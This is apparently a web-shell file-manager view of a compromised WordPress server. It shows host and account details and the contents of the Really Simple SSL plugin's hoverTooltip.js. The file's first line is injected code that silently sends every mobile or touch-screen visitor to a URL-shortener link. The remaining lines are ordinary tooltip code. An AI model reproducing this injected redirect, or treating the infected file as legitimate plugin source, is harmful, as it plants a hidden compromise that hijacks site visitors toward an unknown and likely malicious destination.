|
Server : LiteSpeed System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64 User : gazetufm ( 1431) PHP Version : 8.1.35 Disable Function : NONE Directory : /home2/gazetufm/leonora.al/wp-content/plugins/really-simple-ssl/settings/src/utils/ | |
|
Path: //home2/gazetufm/leonora.al/wp-content/plugins/really-simple-ssl/settings/src/utils/hoverTooltip.js
Size: 1.91 KB
Permissions: 0444
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
// src/utils/hoverTooltip.js
import { useEffect } from '@wordpress/element';
const tooltipStyles = {
display: 'none',
position: 'fixed',
backgroundColor: 'rgba(0,0,0,0.8)',
color: 'white',
padding: '10px',
borderRadius: '3px',
zIndex: 1000,
fontSize: '13px',
};
const hoverTooltip = (ref, condition, tooltipText) => {
useEffect(() => {
let tooltip = document.getElementById('rsssl-hover-tooltip');
if (!tooltip) {
tooltip = document.createElement('div');
tooltip.id = 'rsssl-hover-tooltip';
Object.assign(tooltip.style, tooltipStyles);
document.body.appendChild(tooltip);
}
const showTooltip = () => {
const element = ref.current;
const target = element.disabled ? element.parentElement : element;
const rect = target.getBoundingClientRect();
tooltip.innerHTML = tooltipText;
tooltip.style.display = 'block';
tooltip.style.left = `${rect.left}px`;
tooltip.style.top = `${rect.top - tooltip.offsetHeight - 5}px`;
};
const hideTooltip = () => {
tooltip.style.display = 'none';
};
const element = ref.current;
if (element && condition) {
element.addEventListener('mouseover', showTooltip);
element.addEventListener('mouseout', hideTooltip);
}
return () => {
if (element && condition) {
element.removeEventListener('mouseover', showTooltip);
element.removeEventListener('mouseout', hideTooltip);
}
};
}, [ref, condition, tooltipText]);
};
export default hoverTooltip;